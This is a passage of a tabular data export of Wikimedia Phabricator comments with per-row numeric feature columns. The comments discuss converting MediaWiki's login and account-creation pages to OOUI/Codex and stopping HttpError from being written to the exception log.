* Spend a ton of effort to change this now, which will all have been for naught when T12317 happens. (My patch above tried this, but it only changes the login form, not touching the signup form at all.)
* Wait for somebody else to spend a ton of effort doing T12317, and then ride on top of their work and change this easily.

There is actually work happening on T12317 now (as a side-effect of T110277) and it might be done before the end of March, yay (per comments on https://gerrit.wikimedia.org/r/#/c/240052/). So I say let's wait. :)",,,1457481413,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,35,True,1.0,0.5,0.0,1.0,0.5,0.5,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.5,1.5,2.0,0.0,7.5,11.5,0.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,1.5,0.5,1.5,3.0,0.0,1.5,1.5,0.0,0.0,0.5,0.0,0.0,0.0,1.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,1.5,0.5,0.0,0.0,0.0,0.0,0.5,1.5,0.0,2.0,0.5,0.0,0.0,0.5,0.0,0.0,4.0,2.5,9.0,1.5,3.0,6.5,0.0,1.0,0.0,0.0,7.0,0.5,0.5,0.0,4.5,11.5,3.5,0.0,0.0,0.0,4.5,0.0,1.0,2.0,0.0,2.0,0.0,0.0,0.0,3.3875,0.7984375,"Yes. There are two ways we could do this:
* Spend a ton of effort to change this now, which will all have been for naught when T12317 happens. (My patch above tried this, but it only changes the login form, not touching the signup form at all.)
* Wait for somebody else to spend a ton of effort doing T12317, and then ride on top of their work and change this easily.

There is actually work happening on T12317 now (as a side-effect of T110277) and it might be done before the end of March, yay (per comments on URL So I say let's wait. :)"
625960,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"@matmarex What are the blockers here, still the same as laid out [[ https://phabricator.wikimedia.org/T85853#974904 | above ]]?",,,1457478288,,PHID-USER-caadsxn4xg5gmxrpn6kz,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,True,,,35,True,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,14.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,3.2857142857142856,0.8571428571428571,"SCREEN_NAME What are the blockers here, still the same as laid out [[ URL | above ]]?"
621534,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Change 183390 abandoned by Bartosz Dziewoński:
[WIP] Convert login form to OOUI

Reason:
OK, no, finishing this properly is still not worth it.

[[https://gerrit.wikimedia.org/r/183390]]",,,1456939372,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,False,,,34,True,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,23.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,3.0,5.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,3.58974358974359,0.7948717948717948,"Change 183390 abandoned by Bartosz Dziewoński:
[WIP] Convert login form to OOUI

Reason:
OK, no, finishing this properly is still not worth it.

[[GERRIT_URL]]"
621480,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Change 183390 restored by Bartosz Dziewoński:
[WIP] Convert login form to OOUI

Reason:
Eeeeehh

[[https://gerrit.wikimedia.org/r/183390]]",,,1456936369,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,3,False,,,34,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.740740740740741,0.7407407407407407,"Change 183390 restored by Bartosz Dziewoński:
[WIP] Convert login form to OOUI

Reason:
Eeeeehh

[[GERRIT_URL]]"
399430,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"> we shouldn't be doing this now

In that case feel free to lower the priority value of this task",,,1421237449,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,1,True,,,-25,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8666666666666667,1.0,"QUOTE

In that case feel free to lower the priority value of this task"
399254,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"I talked about this with people and the general agreement is that we shouldn't be doing this now. It would cause issues with extensions that modify the login form, the code sucks, and generally this really stinks. Let's try it again when the login form is a HTMLForm (T12317).",,,1421194579,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,1,True,,,-25,True,0.0,0.0,0.0,0.0,2.0,2.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,10.0,7.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,2.0,0.0,12.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,9.0,5.0,9.0,3.0,3.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,9.0,7.0,3.0,0.0,0.0,0.0,9.0,0.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,3.9310344827586206,0.7586206896551724,"I talked about this with people and the general agreement is that we shouldn't be doing this now. It would cause issues with extensions that modify the login form, the code sucks, and generally this really stinks. Let's try it again when the login form is a HTMLForm (T12317)."
399253,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Change 183390 abandoned by Bartosz Dziewoński:
[WIP] Convert login form to OOUI

[[https://gerrit.wikimedia.org/r/183390]]",,,1421194518,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,1,False,,,-25,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.8636363636363638,0.8181818181818182,"Change 183390 abandoned by Bartosz Dziewoński:
[WIP] Convert login form to OOUI

[[GERRIT_URL]]"
396450,Convert MW core login/create account pages to Codex (Special:UserLogin / Special:CreateAccount),"Change 183390 had a related patch set uploaded (by Bartosz Dziewoński):
[WIP] Convert login form to OOUI

[[https://gerrit.wikimedia.org/r/183390]]

#patch-for-review",,,1420672709,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bmkk5pxosfta5sjid6hl,task_subcomment,,True,c3,1,False,,,-26,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,20.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,11.0,3.5428571428571427,0.8,"Change 183390 had a related patch set uploaded (by Bartosz Dziewoński):
[WIP] Convert login form to OOUI

[[GERRIT_URL]]

#patch-for-review"
85795,HttpError should not be logged as an unhandled exception.,"HttpError is a way to signal an issue to the client, it does not generally imply a programming error or failure on the server side (at least for status codes < 500). Thus, writing it to ""the exception log"" with wfDebugLog( 'exception', ... ) is misleading. 

I suggest the following behavior: 
* HttpError::isLoggable should return false if $this->httpCode < 500.
* HttpError::report should write to the web server error log (via wfLogWarning or error_log) if $this->httpCode >= 400

Alternatively, MWExceptionHandler::logException could implement a special case for HttpError, using a different log stream, i.e. ""http-error"" instead of the generic ""exception"" log. To avoid the special case in MWExceptionHandler, MWException could get a getLogStream() method that would return ""exception"" per default.",Needs Triage,90.0,1420465532,1426705982.0,PHID-USER-5dqihbanu3caaj7pigif,False,PHID-USER-2mey32xhshfnf7rz7jjn,False,PHID-TASK-cgood7sc62oac3adwbux,task_description,resolved,True,c3,1,True,False,True,-26,True,0.0,0.0,0.0,0.0,0.5,4.5,1.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,0.5,1.0,3.0,9.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,2.0,0.5,1.0,1.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,2.5,0.0,0.5,0.0,0.5,0.0,15.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.5,0.0,0.5,0.0,0.5,0.0,7.5,1.0,6.5,1.0,1.0,7.5,0.0,0.0,0.0,0.0,4.5,0.0,2.5,0.0,1.5,9.0,4.5,0.0,6.0,0.0,1.5,0.0,0.5,3.5,0.0,1.5,0.0,0.5,1.5,4.348101265822785,0.7278481012658228,"HttpError is a way to signal an issue to the client, it does not generally imply a programming error or failure on the server side (at least for status codes < 500). Thus, writing it to ""the exception log"" with wfDebugLog( 'exception', ... ) is misleading. 

I suggest the following behavior: 
* HttpError::isLoggable should return false if $this->httpCode < 500.
* HttpError::report should write to the web server error log (via wfLogWarning or error_log) if $this->httpCode >= 400

Alternatively, MWExceptionHandler::logException could implement a special case for HttpError, using a different log stream, i.e. ""http-error"" instead of the generic ""exception"" log. To avoid the special case in MWExceptionHandler, MWException could get a getLogStream() method that would return ""exception"" per default."
428494,HttpError should not be logged as an unhandled exception.,"Change 183020 merged by jenkins-bot:
Don't log HttpErrors in the exception log, use MWLogger

[[https://gerrit.wikimedia.org/r/183020]]",,,1426694449,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cgood7sc62oac3adwbux,task_subcomment,,True,c3,1,False,,,-16,True,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.6923076923076925,0.8846153846153846,"Change 183020 merged by jenkins-bot:
Don't log HttpErrors in the exception log, use MWLogger

[[GERRIT_URL]]"
428483,HttpError should not be logged as an unhandled exception.,"Change 197503 merged by Legoktm:
Log HttpErrors with a 500  code

[[https://gerrit.wikimedia.org/r/197503]]",,,1426693431,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cgood7sc62oac3adwbux,task_subcomment,,True,c3,1,False,,,-16,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,25.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,15.0,3.55,0.9,"Change 197503 merged by Legoktm:
Log HttpErrors with a 500  code

[[GERRIT_URL]]"
428290,HttpError should not be logged as an unhandled exception.,"Change 197503 had a related patch set uploaded (by Hoo man):
Log HttpErrors with a 500  code

[[https://gerrit.wikimedia.org/r/197503]]
",,,1426674262,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cgood7sc62oac3adwbux,task_subcomment,,True,c3,1,False,,,-16,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,18.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,11.0,3.357142857142857,0.8571428571428571,"Change 197503 had a related patch set uploaded (by Hoo man):
Log HttpErrors with a 500  code

[[GERRIT_URL]]
"
396339,HttpError should not be logged as an unhandled exception.,">>! In T85795#960163, @Legoktm wrote:
>>>! In T85795#960109, @JanZerebecki wrote:
>> The goal is that everything that is logged can be easily differentiated according to its severity. Like fatals/errors/warnings/notices vs things that might be helpful for debugging something but are normal operation. A 404 of this case is the later case. AFAIK in Mediawiki the log group is the only thing that can be currently used for this.
> 
> Actually, we now have structured logging in MW: `MWLogger::getInstance('HttpError')` will return an instance of `Psr\Log\LoggerInterface` that you can use. You can also set a minimum log severity level in $wgDebugLogGroups (unsure if that has been deployed yet though).

The severity filter stuff will hit group0 today. \o/ No config updates have been done to use it yet.",,,1420658816,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-cgood7sc62oac3adwbux,task_subcomment,,True,c3,1,True,,,-26,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,23.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,16.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6451612903225805,0.7419354838709677,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The severity filter stuff will hit group0 today. \o/ No config updates have been done to use it yet."
396281,HttpError should not be logged as an unhandled exception.,">>! In T85795#960109, @JanZerebecki wrote:
> The goal is that everything that is logged can be easily differentiated according to its severity. Like fatals/errors/warnings/notices vs things that might be helpful for debugging something but are normal operation. A 404 of this case is the later case. AFAIK in Mediawiki the log group is the only thing that can be currently used for this.

Actually, we now have structured logging in MW: `MWLogger::getInstance('HttpError')` will return an instance of `Psr\Log\LoggerInterface` that you can use. You can also set a minimum log severity level in $wgDebugLogGroups (unsure if that has been deployed yet though).
",,,1420654141,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-cgood7sc62oac3adwbux,task_subcomment,,True,c3,1,True,,,-26,True,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,14.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,8.0,6.0,0.0,0.0,0.0,6.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,3.86,0.86,"QUOTE
QUOTE

Actually, we now have structured logging in MW: CODE will return an instance of CODE that you can use. You can also set a minimum log severity level in $wgDebugLogGroups (unsure if that has been deployed yet though).
"
396266,HttpError should not be logged as an unhandled exception.,"The goal is that everything that is logged can be easily differentiated according to its severity. Like fatals/errors/warnings/notices vs things that might be helpful for debugging something but are normal operation. A 404 of this case is the later case. AFAIK in Mediawiki the log group is the only thing that can be currently used for this.
To have isLoggable() return false but then have the exception log itself inside report() is more of a workaround for the lack of being able to specify the log group. How about having logGroups() in MWException which MWExceptionHandler then uses instead of isLoggable() to determine to log the exception to the normal exception channel?",,,1420653258,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-cgood7sc62oac3adwbux,task_subcomment,,True,c3,1,True,,,-26,True,0.0,1.0,0.0,1.5,0.0,6.5,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.5,0.0,0.0,0.0,4.0,13.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.5,0.0,0.0,4.5,1.5,1.5,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,3.5,0.0,2.0,0.0,1.0,0.5,10.5,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,7.0,5.5,5.5,1.5,1.5,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.5,0.0,1.5,13.0,2.5,1.0,0.0,0.0,1.5,0.0,3.0,1.5,1.0,2.0,1.0,0.0,0.0,4.3106060606060606,0.6893939393939394,"The goal is that everything that is logged can be easily differentiated according to its severity. Like fatals/errors/warnings/notices vs things that might be helpful for debugging something but are normal operation. A 404 of this case is the later case. AFAIK in Mediawiki the log group is the only thing that can be currently used for this.
To have isLoggable() return false but then have the exception log itself inside report() is more of a workaround for the lack of being able to specify the log group. How about having logGroups() in MWException which MWExceptionHandler then uses instead of isLoggable() to determine to log the exception to the normal exception channel?"
395788,HttpError should not be logged as an unhandled exception.,Thx. No wonder searching for type in that file didn't find where it was set to HttpError.,,,1420565761,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-cgood7sc62oac3adwbux,task_subcomment,,True,c3,1,True,,,-26,True,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,15.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,15.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,3.65,0.95,Thx. No wonder searching for type in that file didn't find where it was set to HttpError.
395783,HttpError should not be logged as an unhandled exception.,">>! In T85795#957697, @JanZerebecki wrote:
> I can't figure out why currently these show up in logstash as type:HttpError instead of type:exception. Any ideas?

It happens from the exception-json event processing. See <https://github.com/wikimedia/operations-puppet/blob/production/files/logstash/filter-mw-via-udp2log.conf#L279-L301>",,,1420565282,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-cgood7sc62oac3adwbux,task_subcomment,,True,c3,1,True,,,-26,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,29.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.8823529411764706,0.9411764705882353,"QUOTE
QUOTE

It happens from the exception-json event processing. See <URL"
395778,HttpError should not be logged as an unhandled exception.,I can't figure out why currently these show up in logstash as type:HttpError instead of type:exception. Any ideas?,,,1420564891,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-cgood7sc62oac3adwbux,task_subcomment,,True,c3,1,True,,,-26,True,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,4.0,0.0,16.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,20.0,4.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.88,0.92,I can't figure out why currently these show up in logstash as type:HttpError instead of type:exception. Any ideas?
395674,HttpError should not be logged as an unhandled exception.,"Change 183020 had a related patch set uploaded (by Hoo man):
Don't log HttpErrors in the exception log

[[https://gerrit.wikimedia.org/r/183020]]

#patch-for-review",,,1420544378,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cgood7sc62oac3adwbux,task_subcomment,,True,c3,1,False,,,-26,True,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,14.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.4571428571428573,0.8285714285714286,"Change 183020 had a related patch set uploaded (by Hoo man):
Don't log HttpErrors in the exception log

[[GERRIT_URL]]

#patch-for-review"
395266,HttpError should not be logged as an unhandled exception.,This came up during https://gerrit.wikimedia.org/r/#/c/182750/ T76458.,,,1420473861,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-cgood7sc62oac3adwbux,task_subcomment,,True,c3,1,True,,,-26,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,1.0,This came up during URL T76458.
395265,HttpError should not be logged as an unhandled exception.,"Often 404 errors where this is used are of no interest to ops or devs, so I prefer the different log stream, at least for 404.",,,1420473820,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-cgood7sc62oac3adwbux,task_subcomment,,True,c3,1,True,,,-26,True,0.0,0.0,0.0,3.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,7.0,7.0,3.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.4827586206896552,0.9310344827586207,"Often 404 errors where this is used are of no interest to ops or devs, so I prefer the different log stream, at least for 404."
